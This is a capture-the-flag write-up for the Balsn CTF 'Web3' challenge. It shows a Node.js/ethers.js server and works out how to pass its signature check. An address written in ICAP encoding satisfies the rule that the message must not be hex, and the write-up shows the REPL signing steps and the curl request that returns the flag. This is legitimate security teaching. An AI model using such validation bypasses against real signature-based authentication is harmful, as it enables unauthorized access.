Web3
3 minutes to read
We are given a Node.js application that uses Web3:
const express = require("express");
const ethers = require("ethers");
const path = require("path");
const app = express();
app.use(express.urlencoded());
app.use(express.json());
app.get("/", function(_req, res) {
res.sendFile(path.join(__dirname + "/server.js"));
});
function isValidData(data) {
if (/^0x[0-9a-fA-F]+$/.test(data)) {
return true;
}
return false;
}
app.post("/exploit", async function(req, res) {
try {
const message = req.body.message;
const signature = req.body.signature;
if (!isValidData(signature) || isValidData(message)) {
res.send("wrong data");
return;
}
const signerAddr = ethers.verifyMessage(message, signature);
if (signerAddr === ethers.getAddress(message)) {
const FLAG = process.env.FLAG || "get flag but something wrong, please contact admin";
res.send(FLAG);
return;
}
} catch (e) {
console.error(e);
res.send("error");
return;
}
res.send("wrong");
return;
});
const port = process.env.PORT || 3000;
app.listen(port);
console.log(`Server listening on port ${port}`);
Source code analysis
The core of the challenge is in /exploit
:
app.post("/exploit", async function(req, res) {
try {
const message = req.body.message;
const signature = req.body.signature;
if (!isValidData(signature) || isValidData(message)) {
res.send("wrong data");
return;
}
const signerAddr = ethers.verifyMessage(message, signature);
if (signerAddr === ethers.getAddress(message)) {
const FLAG = process.env.FLAG || "get flag but something wrong, please contact admin";
res.send(FLAG);
return;
}
} catch (e) {
console.error(e);
res.send("error");
return;
}
res.send("wrong");
return;
});
As can be seen, we need to provide a message and a signature such that the signer address equals the message. However, notice this:
if (!isValidData(signature) || isValidData(message)) {
res.send("wrong data");
return;
}
Where isValidData
checks that the string start with 0x
and contains hexadecimal digits:
function isValidData(data) {
if (/^0x[0-9a-fA-F]+$/.test(data)) {
return true;
}
return false;
}
Therefore, the easiest thing won’t work because message
must not be hexadecimal (I used the code that appears in the documentation to sign a message):
$ node
Welcome to Node.js v18.18.2.
Type ".help" for more information.
> const ethers = require("ethers")
undefined
> let privateKey = '0x0123456789012345678901234567890123456789012345678901234567890123'
undefined
> let wallet = new ethers.Wallet(privateKey)
undefined
> wallet.address
'0x14791697260E4c9A71f18484C9f997B308e59325'
> let message = wallet.address
undefined
> let signature = await wallet.signMessage(message)
undefined
> signature
'0x13f351764e6fd44361b2c86b25751d5e5dc2390648b1fed5061b48eb2f62fe8f1a6ff85a405690c8a5c5ebcb73bed617768d3e5b73aa36818f9d787085576a7b1b'
> ethers.verifyMessage(message, signature)
'0x14791697260E4c9A71f18484C9f997B308e59325'
> ethers.verifyMessage(message, signature) === ethers.getAddress(message)
true
Solution
While reading the documentation of ethers
, I found out that wallet addresses can be encoded as ICAP. In this way, the message
won’t be hexadecimal anymore, while ethers.getAddress
will behave as we want:
> message = ethers.getIcapAddress(wallet.address)
'XE172E3CNHDCSLM22QRROQPYXPALTWAQASL'
> signature = await wallet.signMessage(message)
'0x8b5b2dc42e9cfdcad7eff0e29e6d97ade701adc1fa526ea37c77eea0b54e66e26e72acb937976146db76081d70c04942261a0d6cceb2f1cbf17c54b418733ad61b'
> ethers.verifyMessage(message, signature)
'0x14791697260E4c9A71f18484C9f997B308e59325'
> ethers.verifyMessage(message, signature) === ethers.getAddress(message)
true
So, if we send these values of message
and signature
, we will get the flag since message
is not hexadecimal, signature
is hexadecimal and the main condition is satisfied.
Flag
As just said:
$ curl web3.balsnctf.com:3000/exploit -d '{"message":"XE172E3CNHDCSLM22QRROQPYXPALTWAQASL","signature":"0x8b5b2dc42e9cfdcad7eff0e29e6d97ade701adc1fa526ea37c77eea0b54e66e26e72acb937976146db76081d70c04942261a0d6cceb2f1cbf17c54b418733ad61b"}' -H 'Content-Type: application/json'
BALSN{Inter_Exchange_Client_Address_Protocol}